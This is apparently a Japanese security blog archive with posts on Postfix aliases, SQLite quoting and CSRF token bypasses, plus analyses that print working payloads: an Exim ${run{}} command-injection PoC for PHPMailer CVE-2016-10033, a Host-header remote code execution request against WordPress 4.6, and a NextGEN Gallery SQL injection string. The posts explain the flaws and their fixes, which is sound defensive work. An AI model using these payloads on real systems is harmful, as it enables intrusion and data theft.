2017年7月18日火曜日

Postfix で user+foo@domain 形式のエイリアスを使う方法

Gmail では、user+foo@gmail.com 形式のメールアドレス別名が使えることはご存じの方が多いと思います。すなわち、自分のGmailアドレスが user@gmail.com である場合、user+foo@gmail.com や user+pokemon@gmail.comに送られたメールも、受け取ることができます。
私は個人ではPostfixをMTAとして運用しており、ウェブサービス等に登録するメールアドレスはサービス毎に別のメールアドレスを用いています。Yahoo! には yahoo5412@example.com、Googleには google4813@example.com という具合です(実際のメールアドレスは異なります)。しかし、多くのサービスに登録する場合、一々エイリアスを登録するのも面倒です。
そこで、Postfixでもuser+foo形式のエイリアスが使えないかと思い調べたところ、標準機能でサポートしているのですね。Postfixではこの機能をアドレス拡張(Address Extensions)と呼んでいるようです。
アドレス拡張をPostfixに設定するには、main.cf に下記を指定します。

recipient_delimiter = +

この後Postfixを再起動すると、user+foo@examle.com という形で別名が使えるようになります。fooの部分は任意の文字列(メールアドレスのローカルパートに使える文字であれば)が使用できます。

上記を見てお気づきかと思いますが、デリミタとして使用できる記号は変更可能です。例えば、プラス記号の代わりにドットを使うと、以下のように一見エイリアスとは見えない形にすることもできます。

user.foo@example.com

ここでちょっと悪乗りして、recipient_delimiter に英数字は使えないのかと思い試してみました。

recipient_delimiter = 0

上記のように指定すると、ちゃんと(?) user0foo@example.comというアドレス指定で、user@examle.comのメールボックスに届きました…が、デリミタを英数字にするのはあまりにも紛らわしいので実運用ではやめた方がよさそうですね。

まとめ

  • Postfixでも user+foo@domain 形式のエイリアス(アドレス拡張)が使用できる
  • Postfixでアドレス拡張を用いるには、main.cfのrecipient_delimiterでデリミタを指定する
  • アドレス拡張のデリミタには記号の他、英数字も使えるようだが、英数字はやめた方がよい

2017年5月8日月曜日

PHPMailerの脆弱性CVE-2016-10033はExim4やWordPress4.6でも影響があった

エグゼクティブサマリ

PHPMailerのリモートコード実行脆弱性CVE-2016-10033は、従来MTAとしてsendmailを用いる場合のみ影響があるとされていた。また、WordPressはPHPMailerをバンドルしているが、CVE-2016-10033によるWordPressに対するリモートコード実行攻撃はできないとされていた。しかし、MTAとしてExim4を用いる場合には、PHPMailer単体およびWordPress 4.6からのリモートコード実行が可能であることがわかったので報告する。

はじめに

昨年末に話題となったPHPMailerのリモートコード実行脆弱性CVE-2016-10033ですが、当初公表されていたPoCがsendmailコマンドの -X オプションを用いたものであったため、-X オプションのないMTA(postfix, qmail, exim4等)は直ちに影響はないだろうと見られていました。
Postfixを使っていて、sendmailコマンドの代わりにPostfixのsendmailコマンドを使っている場合は、Postfixのsendmailコマンドが -X オプションを無視するようですので大きな影響を受けないと思います。ただ、別のオプションで違う脆弱性が発生する可能性もあるので、PHPMailerはアップデートしたほうが良いですね。
PHPMailerのリモートコード実行脆弱性(CVE-2016-10033)の影響範囲 より引用
また、WordPressも内部にPHPMailerをバンドルしているものの、WordPressコアを用いる限りPHPMailerの脆弱性の影響はないと公表されていました。
「WordPress」のコアに存在するファイルにも「PHPMailer」に由来するコードが含まれていることが判明しているが、同問題に対して「WordPress」のセキュリティチーム関係者は、コア部分で提供されている関数「wp_mail()」を利用している限り、今回公開された脆弱性の影響を受けないとコメント。
「PHPMailer」の脆弱性、「WordPress」などでは悪用できずより引用
ところが、実はそうでもなかったことを以下のツイートで知りました。
以下、上記から参照されている記事(2017年5月3日公開)を元に調べた内容を報告します。

Exim のString Expansionによるコード実行

前述のように、従来の攻撃方法(参照)はsendmailの -X オプションを用いることから、sendmail以外のMTAは-Xオプションがなく、攻撃ができないと一般には思われていました。しかし、他の攻撃経路を探し続けている人もいて、新たな攻撃経路が公開されました。それは、Exim4のString Expansionという機能(参照)を用いるものです。元記事には背景等の説明がありますが、いきなり具体例を示しましょう。以下の実行例は、MTAとしてExim4を用いる環境を想定しています。実験には、Ubuntu14.04上のExim4を用いています。
以下は、sendmailコマンド(exim4コマンドにシンボリックリンクされている)の -be オプションを用いて whoami コマンドを実行する例です。
$ sendmail -be '${run{/usr/bin/whoami}}'
ockeghem
以下は、touchコマンドで /tmp/xxxx というファイルを作成する例です。
$ sendmail -be '${run{/usr/bin/touch /tmp/xxxx}}'

PHPMailerからexim4を呼び出す場合のPoC

上記を用いて、PHPMailerの脆弱性を悪用する方法を説明します。従来のPoCとは違って、メールアドレスのコメントを用いる方法が紹介されています。PHPMailerはメールアドレスがRFC5322準拠であることを確認しているので、RFC5322の範囲で攻撃するためにコメントを用いているのです。以下のPoCは、CVE-2016-10033を悪用して ps -f コマンドを実行するものです。
<?php
require("PHPMailer/class.phpmailer.php");
$to = 'ockeghem@example.jp';
$from = 'wordpress@example.jp(aaa -be ${run{/bin/ps${substr{10}{1}{$tod_log}}-f}} )';

$mail = new PHPMailer();
$mail->AddAddress($to);
$mail->setFrom($from, 'wordpress');
$mail->Subject = 'CVE-2016-10033 PoC';
$mail->Body  = '';
if(!$mail->send()) {
  echo 'Mailer Error: ' . $mail->ErrorInfo . "\n";
} else {
  echo "Message has been sent\n";
}
実行結果は以下となります。ps -fが実行されていることが分かります。また、sendmailコマンドの起動パラメータも分かり、興味深いですね。
$ php phpmailer.php
UID        PID  PPID  C STIME TTY          TIME CMD
ockeghem  2159  2158  0 12:29 pts/4    00:00:00 -bash
ockeghem  4513  2159  0 21:12 pts/4    00:00:00 php pm.php
ockeghem  4515  4513  0 21:12 pts/4    00:00:00 /usr/sbin/sendmail -t -i [次行に続く]
-fwordpress@example.jp(aaa -be ${run{/bin/ps${substr{10}{1}{$tod_log}}-f}} )
ockeghem  4517  4515  0 21:12 pts/4    00:00:00 /bin/ps -f

)
Message has been sent
ところで、PoC中の ${substr{10}{1}{$tod_log}} は何でしょうか? これは、実は空白なのです。-be に渡すパラメータ中に空白があるとString Expansionが2つに分かれてしまうため、見かけ上空白を用いないでPoCを書く必要があります。このため、$tod_log (現在日時)と部分文字列機能を利用して空白を作っています。これらの詳細については、String Expansionのドキュメントを参照下さい。

ということで、MTAとしてEximを用いている場合にも、PHPMailerの脆弱性 CVE-2016-10033の影響があるとが分かりました。

WordPress 4.6からのリモートコード実行PoC

それでは、いよいよWordPress 4.6からのリモートコード実行の説明をしましょう。攻撃には、パスワードリセットの機能を悪用します。以下は、WordPress 4.6 の wp-includes/pluggable.php からの引用です。
if ( !isset( $from_email ) ) {
        // Get the site domain and get rid of www.
        $sitename = strtolower( $_SERVER['SERVER_NAME'] );
        if ( substr( $sitename, 0, 4 ) == 'www.' ) {
                $sitename = substr( $sitename, 4 );
        }
        $from_email = 'wordpress@' . $sitename;
}
$from_email がセットされていない場合、環境変数 SERVER_NAME からHostヘッダを参照して、Fromメールアドレスのドメインパートとしています(ローカルパートは wordpress 固定)。この際にホスト名を小文字に変換していることから、従来のPoC(大文字の -Xオプションを用いる)は使用できません。
PHPMailerのCVE-2016-10033脆弱性を悪用するには、Fromヘッダではなく、エンベロープFromをセットする必要がありますが、それは同じファイルの下記で行われます。
$phpmailer->setFrom( $from_email, $from_name );
PHPMailerのsetFromメソッドには、省略可能な第3引数 $auto (デフォルト値は true)があり、trueの場合 FromヘッダとともにエンベロープFromにも $from_email の値をセットします(PHPMailerのリファレンス)。かくして、ホストヘッダ経由で攻撃文字列をエンベロープFromにセットすることができます。
ここで、「ホストヘッダに空白や括弧などが入るのか? ホスト名に用いることのできる文字は厳しく制限されているはずだが?」という疑問を持たれた方も多いと思いますが、現実のApacheの実装ではスラッシュ「/」以外の記号を含む多くの文字を渡すことができます。スラッシュが使えないと攻撃が不自由ですが、空白を作ったのと同様の方法で、下記によりスラッシュを作ることができます。
$ sendmail -be '${substr{0}{1}{$spool_directory}}'
/
ここまで準備をすると、WordPress 4.6への攻撃ができます。以下は、/tmp/testを作成(touch)するPoCです。攻撃文字列は Host ヘッダに入っています。
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}  tmp2)
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

user_login=admin&redirect_to=&wp-submit=Get+New+Password

WordPress 4.6以外のバージョンではどうか?

WordPress 4.6とEximが動いている環境ではリモートコード実行ができてしまうというのは衝撃的な内容ですが、それでは他のバージョンは大丈夫でしょうか? 元のドキュメントでは以下のように「対策された4.7.1までのバージョンは影響あるかも」と書いていますが、私の調べた範囲では 4.6 以外では影響はないようです。
The Remote Code Execution PoC exploit described in this advisory is based on version 4.6 although other versions of WordPress (prior to 4.7.1 which fixed the PHPMailer vulnerability) might also be affected.
その理由は、$from_email がエンベロープFromに渡るバージョンが 4.6 だけだからです。
4.5.xまでのWordPressは以下のようになっており、エンベロープFromに値はセットされません。
$phpmailer->From = apply_filters( 'wp_mail_from', $from_email );
$phpmailer->FromName = apply_filters( 'wp_mail_from_name', $from_name );
4.6.1以降では、以下のようにsetFromメソッドの第3引数に false が明示されるようになりました。従って 4.6.1以降でもエンベロープFromに値はセットされません。
$phpmailer->setFrom( $from_email, $from_name, false );
上記から、WordPress 4.6以外(4.5.x以前、4.6.1以降)では、上記攻撃の影響はないと考えられます。試みにいくつかのバージョン(4.5 / 4.5.3 / 4.6.1 / 4.6.2 / 4.7 / 4.7.1)で試してみましたが、4.6以外では再現しないことを確認しています。

対策

WordPress、PHPMailerのどちらにも言えることですが、ソフトウェアを最新版にバージョンアップすることで対策になります。
HOSTヘッダ経由での攻撃全般に効果のある保険的対策として、「デフォルトのバーチャルホストをダミーとして、本番のバーチャルホストは2番目以降に設定する」方法をお勧めします(参照)。この方法は元々DNSリバインディング対策として拙著で紹介していたものですが、IPアドレスでのサイト閲覧による攻撃(無差別的な攻撃に多い)や、今回紹介したようなHostヘッダに攻撃文字列を入れるタイプの攻撃を無効化します。

まとめ

MTAとしてExim4を用いている場合に、PHPMailerの脆弱性CVE-2016-10033の影響があり、WordPress 4.6を用いている環境でもリモートコード実行ができることを紹介しました。当初、これらは当該脆弱性の影響はないと見られていたものですが、「実は影響があった」ことになります。
このようなケースもままあることですので、トリアージ(脆弱性の緊急度判断)の結果「影響なし」と判断された場合でも、あまり遅くならないタイミングでライブラリやプラットフォームのバージョンアップをしておくことをお勧めします。
Exim4と言えば、DebianのデフォルトMTAですので、特にDebianユーザが影響を受ける可能性が高いと考えられます。といっても、CVE-2016-10033が発表されてから既に4ヶ月以上経過しているので、既にバージョンアップ済みであることを祈りたい気分です。

参考文献



HASHコンサルティング広告

HASHコンサルティング株式会社では、脆弱性の原理に根ざした効果的で効率的なセキュリティ施策をご案内しています。詳しくは以下のページから参照下さい。

サービス案内 | HASHコンサルティング株式会社

2017年4月11日火曜日

teratailに投稿されたメールフォームにCSRF脆弱性が残存した理由

teratailに以下のような投稿がありました。
PHPでメールフォームを作成したので、脆弱性がないかアドバイスいただけないでしょうか。
エンジニアでもなければ、PHPもろくに書けない雑魚ですが、「php メールフォーム 作り方」でググって表示されるサイトを見ると、「んんんんん???」と思うところがあります。
これらを参考にしたり、コピペする方は、記述されているコードの良し悪しは判断できないかと思います。
そのような方々が参考にできるメールフォームを作りたいという思いで、調べて作りました。
周りに書いたコードを確認してもらえる人もいないので、皆様からのアドバイスがほしいです((_ _ (´ω` )ペコ

【PHP】作成したメールフォームに脆弱性がないか、アドバイスもらえないでしょうかより引用
どれどれ…と確認すると、トークンのチェックが入っているにも関わらずクロスサイト・リクエストフォージェリ(CSRF)脆弱性が残存しています。このため、PoC(Proof of Concept)を回答し、CSRF脆弱性があることを指摘しましたが、質問者の学習機会を奪わないためにわざと解説は省きました。本稿では、この脆弱性のメカニズムについて報告します。

処理概要

このメールフォームは、元記事に以下のように書かれているように、典型的な入力・確認・送信の3ステップからなります。
入力(index.php) → 確認(confirm.php) → 送信(send.php) と画面を遷移してメールを送ります。
以下、各ステップの処理概要を示します。

入力(index.php)
  • セッションを開始し、トークンを$_SESSION['token']に格納する
  • 入力フォームを表示する
  • hiddenパラメータtokenにてトークンをPOSTする

確認(confirm.php)
  • トークン$_SESSION['token'] がNULLの場合、空文字列に置き換える
  • POSTされたトークンが$_SESSION['token']に一致しなければエラー表示
  • 入力値をバリデーションし、エラーがなければセッション変数にセットする
  • hiddenパラメータtokenにてトークンをPOSTする

送信(send.php)
  • トークン$_SESSION['token'] がNULLの場合、空文字列に置き換える
  • POSTされたトークンが$_SESSION['token']に一致しなければエラー表示
  • メールアドレスや問い合わせ内容等をセッション変数から取り出す
  • 問い合わせをしたユーザと管理者にメール送信

続いて、CSRF攻撃について検討します。

脅威1: いきなり send.php に外部からPOSTされる

まずは、いきなり送信ページ(send.php)に対してPOSTする場合を考えましょう。この場合、セッション変数は初期化されていないわけですから、$_SESSION['token]はNULLという扱いになりますが、前述のように、この場合$_SESSION['token']は空文字列が入ります。したがって、POSTするトークンとして空文字列を送ってやれば、CSRF対策を回避できます。
しかしながら、問い合わせしたユーザのメールアドレスや問い合わせ内容はセッション変数経由で受け渡しをしているため、いずれもNULLとなります。このためメールも送信されない…わけではなく、管理者向けに内容が空(テンプレートのみ)のメールが送信されます。すごい実害があるわけではありませんが、嫌がらせ程度には使えるかもしれません。
ともあれ、空文字列のトークンでCSRF対策が回避できることは、大きな問題です。

脅威2: confirm.php、send.php に続けてPOSTされる

次の攻撃パターンは、まずconfirm.phpに外部からPOSTし、少し時間をおいてsend.phpにPOSTする攻撃です。
この場合もセッション変数は初期化されていないので、$_SESSION['token]はNULLという扱いになり、send.phpと同じ流れで $_SESSION['token']は空文字列が入ります。したがって、POSTするトークンとして空文字列を送ってやれば、CSRF対策を回避できます。
加えて、問い合わせ内容を攻撃の趣旨に合わせてPOSTすれば、バリデーションを経てセッション変数にセットされます。
後は、脅威1と同じようにsend.phpをPOSTすることで、上記でセットした問い合わせ内容が、被害者のブラウザから送信されることになります。
私のPoCでは、被害者のブラウザから「犯行予告」を問い合わせとして送るようにしましたが、他の悪用もあり得るでしょう。

NULLのトークンを空文字列にしなければ問題ないのか?

confirm.phpとsend.phpではセッション変数のトークンがNULLの場合、空文字列に置き換えています。典型的な「余計なお世話」ですが、これがなければ脆弱とはならないでしょうか。
そうではありません。セッション変数のトークンがNULLなのであれば、POSTするトークン側もNULLにすれば、NULL === NULL でCSRF対策をすり抜けます。具体的には、POSTパラメータtokenを送らないことにより実現可能です。
せっかくトークンのNULLチェックをしていて、トークンがNULLということは正常な遷移ではないわけですから、この時点でエラーとして処理を終了すればCSRF脆弱性は防げました。

対策

前述のように、$_SESSION['token'] のバリデーションでセッション変数のトークンが空でないことを確認すれば脆弱性は防げますが、お勧めしたいのは、以下のステップでもトークンが空でないことを確認することです。
  • POSTされたトークンが$_SESSION['token']に一致しなければエラー表示
すなわち、上記のルールを以下のように拡張します。
  • POSTされたトークンが空であるか、または$_SESSION['token']に一致しなければエラー表示
トークンが空かどうかのチェックにはPHPのempty()を使うと良いでしょう。empty()は、NULLでも空文字列でもTRUEを返すので、これら両方をエラーにすることができます。
加えて、PHP 5.6以降を使っている場合は、トークンの比較には === ではなく、hash_equalsを使うとよいでしょう。hash_equalsはタイミング攻撃を防ぐことが元々の目的ですが、引数がともにNULLの場合には FALSE を返すので、トークンがNULLなのにトークンチェックをすり抜けることが防げます。
まとめると以下のようになります。
  • トークンのチェックの際には、トークンが空でないことを確認する
  • 可能であれば hash_equalsによりトークンを比較する
バリデーションでトークンが空でないことを確認すればいいではないかと思う人もいると思いますが、脆弱性の対策は局所的に行うことが重要なのです。そうすることで、脆弱性がないことが一目で確認でき、脆弱性が入りにくくなり、後から「脆弱性がないことを確認する」際にも時間を節約することができます。

まとめ

teratailに投稿された問い合わせフォームを題材として、CSRF対策の漏れやすいポイントを紹介しました。脆弱性診断の実務でも、トークンを空文字列にするとか、トークン自体を削除することでCSRF対策がすり抜けてしまうことはままあります。局所的にトークンが空でないことを確認することにより、このような対策漏れを防ぐことが可能です。

2017年4月10日月曜日

話題のワールドプレス、BurpSuiteでもできるよ

BurpSuite っていうのを使うとWordPressも簡単にワールドプレスにできるよ。

まずは、WordPressをリバースプロキシとして設定します。BurpSuiteを起動して、Proxyタブ - Optionsタブを選択し、Edit Proxy Listnersから下記の画面を表示し、


Bind to portを80として、Bind to addressを All interfaceを選択します。次に、Request handlingタブを選択し、


Support invisible proxyingを選択します。
これで、BurpSuiteをリバースプロキシとして使うことができます。

次に必要に応じてProject optionsタブからConnectionsタブを選択し、Add hostnmae resolution ruleからWordPressホストのホスト名に対するIPアドレスを追加します。


次に、Proxyタブ - Optionsタブを選択し、Match and ReplaceにてWordPressを「ワールドプレス」に変換する…のですが、お約束の文字化けが起こるので、文字数値参照で「&#x30EF;&#x30FC;&#x30EB;&#x30C9;&#x30D7;&#x30EC;&#x30B9;」に変換します。


ここまでできたら、BurpSuiteが稼働しているホストのIPアドレスにアクセスすればおk。


ワールドプレスだって簡単に実現できるです。そう、BurpSuiteならね!

参考文献

ワールドプレスっていうブログを運営するための最強ツール
ワールドプレスっていうブログ運営最強ツールを知ってる?? - 楽しいことを全力に!

2017年3月23日木曜日

SQLiteのクォートにまつわる奇妙な仕様

SQLiteでは、ISO SQL標準同様に、文字列リテラルはシングルクォートで囲み、識別子をクォートする場合は、ダブルクォートで囲むことになっています。

'foo' : 文字列リテラル
"foo" : 識別子(テーブル名、列名等)

しかし、マニュアルによると、SQLiteのクォーティングには例外があります。それを実例で紹介しましょぅ。まずは、実験の準備として、列 a だけを持つテーブル a を作成します。
$ sqlite3 test.db
sqlite> CREATE TABLE a(a integer);
sqlite> INSERT INTO a VALUES(1);
sqlite> SELECT * FROM a;
1
sqlite>
続いて、以下を実行します。実行結果はどうなるでしょうか?
sqlite> SELECT 'a', "a", [a], `a`, "aa" FROM 'a'
これ、FROM 'a' のところが文法違反に見えますよね。FROMの後には表の名前が続くはずです。また、"aa" は列名だとするとそのような列は存在しないので、こちらもエラーになるはずです。
しかし、SQLiteの場合、上記SQL文はエラーにならず、以下の結果となります。
sqlite> SELECT 'a', "a", [a], `a`, "aa" FROM 'a';
a|1|1|1|aa
sqlite>
これはどういうことでしょうか?その答えは、SQLiteのマニュアルにあります。
For resilience when confronted with historical SQL statements, SQLite will sometimes bend the quoting rules above:
  • If a keyword in single quotes (ex: 'key' or 'glob') is used in a context where an identifier is allowed but where a string literal is not allowed, then the token is understood to be an identifier instead of a string literal.
  • If a keyword in double quotes (ex: "key" or "glob") is used in a context where it cannot be resolved to an identifier but where a string literal is allowed, then the token is understood to be a string literal instead of an identifier.
SQLite Query Language: SQLite Keywords より引用
すなわち、シングルクォートで囲まれたキーワードが、文字列リテラルが許可されていない箇所に置かれている場合、識別子として認識されます。上記の FROM 'a' の 'a' がこれに該当します。
また、ダブルクォートで囲まれたキーワードであるのに、該当する列名等がない場合、文字列リテラルとして認識されます。上記の "aa" がこれに該当します。
SQLite はなんてすごいんだ! 僕達の気持ちをここまでくんでくれるなんて!!
というのはもちろん冗談で、こんなのは余計なお世話としか言いようがありません。開発者が間違った場合でもエラーにならず、見つけにくいバグの原因になりそうです。

ちなみに、SQLiteは、識別子を [] で囲む方式(MS SQL風)や、バッククォートで囲む方式(MySQL風)もサポートしていますが、これらの場合は、自動的に文字列リテラルとして認識されることはないようです。だったらこれらを使えば…という意見もありそうですが、ISO標準にはない書き方なので、移植性がそこなわれますよね。
ということで、SQLiteを使う場合、もしクォートする必要がなければ、識別子はクォートしない方が無難なのではないでしょうか? そうすれば、勝手に文字列リテラルとして認識されることもないし、移植性も損なわれません。

なお、この問題に起因するセキュリティ上の問題はないか考えてみましたが、思いつきませんでした。思いついた方があれば、ぜひ教えてください。

追記(20:35)

この問題が原因で脆弱性となる例を考えましたので紹介します。
ログイン処理で、「ログイン状態を保存」をトークンを用いて実装していたとします。SQL文は下記となります(SQLインジェクション対策はされていると想定)。
SELECT * FROM users WHERE "token" = $token
クッキーなどにセットされたトークンが、列 token に一致するものがあれば、そのユーザで自動ログインするという想定です。
しかし、列 token のつづりを以下のように間違えていたとします。
SELECT * FROM users WHERE "tokem" = $token
すると、通常はランダム文字列であるトークンとして、固定の文字列 'tokem' を指定するとログインできてしまうことになります。"tokem"という列が存在しないため、WHERE句は 'tokem' = $token と等価だからです。

し・か・し・な・が・ら、この例では正常系がまともに動かないため、テストさえしていれば、この脆弱性が入ったままリリースされることはないでしょう…ということで、あまり現実的ではない…しかし、絶対にないとも言い切れない…脆弱性の例でした。

2017年3月5日日曜日

WordPressのプラグインNextGEN GalleryのSQLインジェクション脆弱性について検証した

エグゼクティブサマリ

WordPressのプラグインNextGEN Gallery for WordPress 2.1.79未満にはSQLインジェクション脆弱性があり、早急なバージョンアップを推奨する。当該脆弱性は潜在的にWordPressの内部メソッドwpdb::prepareの仕様上の問題が原因であり、他のプラグインにも類似脆弱性の残存の可能性がある。このため、この問題の影響を受けない安全な実装方針を示した。

はじめに

Sucuriブログに、NextGEN Gallery for WordPressのSQLインジェクション脆弱性が報告されました。脆弱性のサマリは下記となります。
対象バージョンNextGEN Gallery for WordPress 2.1.79未満
影響SQLインジェクションによる情報漏えいなど
攻撃の認証要否不要
攻撃の難しさ困難
対策プラグインのアップデート (2.1.79にて修正)


脆弱なコードと検証

脆弱性はMixin_Displayed_Gallery_Queriesクラスのget_term_ids_for_tagsメソッドにあります。当該メソッドを下記に引用します。このメソッドは、タグを$tags配列として受け取り、タグ検索のSQL文を実行します。タグ検索のSQL文のIN句は、下記の※1(赤字)にて生成しています。エスケープなどがなされていないので心配になりますが、タグ中の引用符はHTMLエスケープ(SQLエスケープではない)され、バックスラッシュはフィルタリングで除去されるので、これら記号文字によるSQLインジェクション攻撃はできません。

function get_term_ids_for_tags($tags = FALSE)
{
    global $wpdb;
    // If no tags were provided, get them from the container_ids
    if (!$tags || !is_array($tags)) {
        $tags = $this->object->container_ids;
    }
    // Convert container ids to a string suitable for WHERE IN
    $container_ids = array();
    if (is_array($tags) && !in_array('all', array_map('strtolower', $tags))) {
        foreach ($tags as $ndx => $container) {   // ※1 タグ検索の IN 句の生成
            $container_ids[] = "'{$container}'";
        }
        $container_ids = implode(',', $container_ids);
    }
    // Construct query
    $query = "SELECT {$wpdb->term_taxonomy}.term_id FROM {$wpdb->term_taxonomy}\n
                  INNER JOIN {$wpdb->terms} ON {$wpdb->term_taxonomy}.term_id = {$wpdb->terms}.term_id\n
                  WHERE {$wpdb->term_taxonomy}.term_id = {$wpdb->terms}.term_id\n
                  AND {$wpdb->term_taxonomy}.taxonomy = %s";
    if (!empty($container_ids)) {
        $query .= " AND ({$wpdb->terms}.slug IN ({$container_ids}) OR {$wpdb->terms}.name IN ({$container_ids}))";
    }
    $query .= " ORDER BY {$wpdb->terms}.term_id";
    $query = $wpdb->prepare($query, 'ngg_tag');   // ※2
    // Get all term_ids for each image tag slug
    $term_ids = array();
    $results = $wpdb->get_results($query);
    if (is_array($results) && !empty($results)) {
        foreach ($results as $row) {
            $term_ids[] = $row->term_id;
        }
    }
    return $term_ids;
}

脆弱性の原因

WordPressのプラグインは、一般にWordPressがフレームワークとして提供するwpdbクラスのprepareメソッドを利用してSQL文を実行します。wpdb::prepareは、プレースホルダとしてsprintfに似た %s や %d を用いる独特の構文になっています。
では、タグとして%sを指定したら、何かおかしなことができるのではないでしょうか。やってみましょう。以下は、タグとして aaa%s を指定した場合に生成されるSQL文です。

$query string SELECT wp_term_taxonomy.term_id FROM wp_term_taxonomy
                  INNER JOIN wp_terms ON wp_term_taxonomy.term_id = wp_terms.term_id
                  WHERE wp_term_taxonomy.term_id = wp_terms.term_id
                  AND wp_term_taxonomy.taxonomy = %s 
                  AND (wp_terms.slug IN ('aaa%s') OR wp_terms.name IN ('aaa%s')) ORDER BY wp_terms.term_id

しかし、これは実行時にエラーになります。prepareメソッドからPHPのvsprintf関数が呼び出される際に、%sが3個(上記赤字)あるのに、それに対する値が一つ('ngg_tag')しかないためです。
外部からのパラメータ指定で、SQL文生成のエラーになるという時点で、この箇所にバグがあることになります。何か攻撃の糸口はなんでしょうか。

実は、上記に関連して、以下の記事を書いたことがあります。

書式文字列によるSQLインジェクション攻撃例

上記の記事の中で、%s書式が余計に出てくるためにエラーになる状況について言及しており、そのエラー回避のテクニックについて、以下のように書いています。
 実はこのエラーを回避する方法があります。%sの代わりに、%1$sを指定するのです。これは、書式文字列上の位置に関わらず1番目のパラメータを受けるという意味です。
ということで、aaa%sの代わりに、aaa%1$s を指定してみましょう。今度はバインドまで行われ、生成されるSQL文は下記となります。

$query string SELECT wp_term_taxonomy.term_id FROM wp_term_taxonomy
                  INNER JOIN wp_terms ON wp_term_taxonomy.term_id = wp_terms.term_id
                  WHERE wp_term_taxonomy.term_id = wp_terms.term_id
                  AND wp_term_taxonomy.taxonomy = 'ngg_tag'
                  AND (wp_terms.slug IN ('aaangg_tag') OR wp_terms.name IN ('aaangg_tag')) ORDER BY wp_terms.term_id

エラーにはならない代わりに、とりたてて攻撃もできなさそうなSQL文ができてしまいました。 それでは、次に、%1$%s を指定してみます。バインド前のSQL文は下記となります。

$query string SELECT wp_term_taxonomy.term_id FROM wp_term_taxonomy
                  INNER JOIN wp_terms ON wp_term_taxonomy.term_id = wp_terms.term_id
                  WHERE wp_term_taxonomy.term_id = wp_terms.term_id
                  AND wp_term_taxonomy.taxonomy = %s
                  AND (wp_terms.slug IN ('aaa%1$%s') OR wp_terms.name IN ('aaa%1$%s'))

これがwpdb::prepareメソッドの中で、%sをシングルクォートで囲む処理が加わります。これは、SQL文の文字列リテラルはシングルクォートで囲むルールに対応するためです。この結果、SQL文は以下のように変形されます。最後の行のみを示します。

AND wp_term_taxonomy.taxonomy = '%s' AND (wp_terms.slug IN ('aaa%1$'%s'') OR wp_terms.name IN ('aaa%1$'%s''))

これがPHPのvsprintf関数で処理されるのですが、ここで上記の %1$'%s (上記赤字)に注目します。実は、これ全体で、vsprintfの書式になっています。1$は1番目のパラメータに対応するという意味、'%はパディングに%を用いるという意味です。ただし、桁指定子がないため、実際にはパティングの指定があっても何もしません。
この結果、バインド結果は下記になります。

AND wp_term_taxonomy.taxonomy = 'aaangg_tag' AND (wp_terms.slug IN ('aaangg_tag'') OR wp_terms.name IN ('aaangg_tag''))

なんということでしょう! シングルクォートの一つがパティング指定と解釈されたため、シングルクォートの対応が狂っています。SQLインジェクション攻撃ができそうな雰囲気が漂い始めました。
それでは、いようよ攻撃です。タグとして以下の文字列を指定します。

aaa%1$%s)) or 1=1#

生成されるSQL文(バインド前)は下記となります。

AND wp_term_taxonomy.taxonomy = %s AND (wp_terms.slug IN ('aaa%1$%s)) or 1=1#') OR wp_terms.name IN ('aaa%1$%s)) or 1=1#')) 

wpdbクラスのprepareメソッドにより%sが'%s'とクォートされた結果

AND wp_term_taxonomy.taxonomy = '%s' AND (wp_terms.slug IN ('aaa%1$'%s')) or 1=1#') OR wp_terms.name IN ('aaa%1$'%s')) or 1=1#'))

そして、バインド後は下記のとおりです。

AND wp_term_taxonomy.taxonomy = 'ngg_tag' AND (wp_terms.slug IN ('aaangg_tag')) or 1=1#') OR wp_terms.name IN ('aaangg_tag')) or 1=1#')) ORDER BY wp_terms.term_id 

赤字で示した部分が文字列リテラルをはみだし、SQL文の一部として解釈されています。SQLインジェクション攻撃の成功です。

脆弱性は誰のせい?

この問題は、NextGEN Gallery の脆弱性して報告されていますが、私は、wpdbクラスの仕様に問題があるように感じました。
一般に、プレースホルダの実装では、SQL文を構成する文字列リテラル中に「たまたま」プレースホルダ記号(? や :foo など)があってもプレースホルダとは解釈せず、文字列リテラルの一部であると解釈します。たとえば、PDOでは、下記の :user はプレースホルダとは解釈されません。

$db->prepare("SELECT * FROM employee WHERE user=':user'");

ところが、wpdbは、下記の %s がプレースホルダと解釈されることになります。

$wpdb->prepare("SELECT * FROM employee WHERE user='user%s'");

上記の場合、バインド値が'tanaka'の場合WHERE句は、WHERE user='user'tanaka'' となり、「tanaka」が文字列リテラルを「はみだす」危なっかしい状態になります。しかし、下記ではそのような現象は起こりません。

$wpdb->prepare("SELECT * FROM employee WHERE user='%s'");

こうなる理由は、wpdb::prepareメソッドの内部で以下の置換処理が行われているからです。

$query = str_replace( "'%s'", '%s', $query ); // 間違ってプレースホルダをクォートしている場合に対処
$query = str_replace( '"%s"', '%s', $query ); // 同上(ダブルクォートの場合)
$query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // ロケールの影響を避けるため浮動小数点数をクォートする
$query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // 文字列のプレースホルダをクォートするが、%%sはクォートしない

このあたり、いかにもアドホックで間違いが入りやすい状態と考えます。wpdb::prepareはSQL文をパースしていないわけで、同種の問題が他のプラグイン等にも潜在的に残っている可能性が高いと予想します。

対策

プラグイン利用者側の対策は、当該プラグイン(NextGEN Gallery for WordPress)を最新版(2.1.79以降) にバージョンアップすることです。
NextGEN Gallery for WordPress 2.1.79内部での対応は、tag指定された文字列中の % を %% と二重にすることで対策しています。これは書式文字列攻撃としての対策で、局所的には妥当なものと考えます。

いったんまとめ

Sucuriが発見した攻撃手法は極めて巧妙です。外部からはシングルクォートがフィルタリングされてSQL文内に指定できないところ、wpdb::prepareが%sの前後に挿入するシングルクォートを攻撃に使っています。しかも、挿入される2つのシングルクォートのうち一つを、vsprintfの書式(パディング指定)として解釈させることにより取り除いている点が巧妙です。
前述のように、この脆弱性は、WordPressの内部メソッドwpdb::prepareの潜在的な問題をNextGEN Galleryプラグインが踏み抜いてしまったものと考えます。

wpdb::prepareはどのように使えばよいか?

